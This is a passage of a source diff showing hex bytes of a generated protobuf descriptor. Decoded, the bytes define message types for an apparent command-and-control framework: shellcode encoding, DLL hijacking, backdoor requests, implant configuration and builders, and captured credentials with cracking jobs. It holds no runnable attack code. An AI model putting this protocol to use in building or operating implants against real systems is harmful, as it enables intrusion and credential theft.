0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2e, 0x0a, 0x08, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, - 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x13, - 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, - 0x4d, 0x61, 0x70, 0x12, 0x47, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, - 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3b, 0x0a, 0x09, 0x44, 0x6c, + 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x78, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x64, + 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, + 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, + 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x22, 0x3a, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x2e, 0x0a, + 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xeb, 0x01, + 0x0a, 0x12, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x52, 0x65, 0x71, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x57, 0x0a, 0x0d, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, - 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, - 0x30, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, - 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x13, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, - 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, - 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, - 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x20, 0x0a, - 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x22, - 0x39, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x42, - 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, - 0x52, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x07, 0x42, - 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, - 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, - 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, - 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x65, - 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x09, 0x52, 0x09, 0x54, - 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, 0x67, - 0x65, 0x74, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, - 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e, - 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x07, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43, - 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, - 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x0e, 0x0a, 0x02, - 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, - 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x50, 0x6c, 0x61, 0x69, - 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x50, 0x6c, 0x61, - 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x61, 0x73, 0x68, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x61, 0x73, 0x68, 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, - 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, - 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, - 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, - 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, - 0x12, 0x1e, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x22, 0x45, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, - 0x36, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x18, 0x01, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x0b, 0x43, 0x72, 0x65, 0x64, - 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x22, 0x4d, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x3c, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xed, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x12, 0x0a, + 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x72, + 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x12, 0x1e, + 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1a, + 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, + 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2b, + 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x55, 0x0a, 0x0f, 0x53, + 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x12, + 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, + 0x74, 0x61, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x47, 0x0a, 0x08, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2b, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, + 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x73, 0x1a, 0x57, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x30, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x13, + 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, + 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, + 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, + 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x39, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, + 0x72, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x52, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, + 0x73, 0x22, 0x80, 0x02, 0x0a, 0x07, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x26, 0x0a, - 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x10, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x52, 0x05, - 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, - 0x62, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, - 0x67, 0x12, 0x33, 0x0a, 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x06, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x07, 0x53, - 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x22, 0xa9, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x70, - 0x65, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, - 0x12, 0x43, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x2e, 0x50, 0x72, - 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x50, 0x72, 0x6f, - 0x67, 0x72, 0x65, 0x73, 0x73, 0x1a, 0x3b, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, - 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, - 0x38, 0x01, 0x22, 0xc9, 0x01, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, - 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, - 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, - 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x48, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, - 0x72, 0x6b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, - 0x61, 0x72, 0x6b, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x1a, - 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, - 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xd9, - 0x01, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, - 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, - 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, - 0x64, 0x41, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, - 0x65, 0x64, 0x41, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, - 0x64, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, - 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x07, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x43, 0x6f, 0x6d, 0x6d, - 0x61, 0x6e, 0x64, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, - 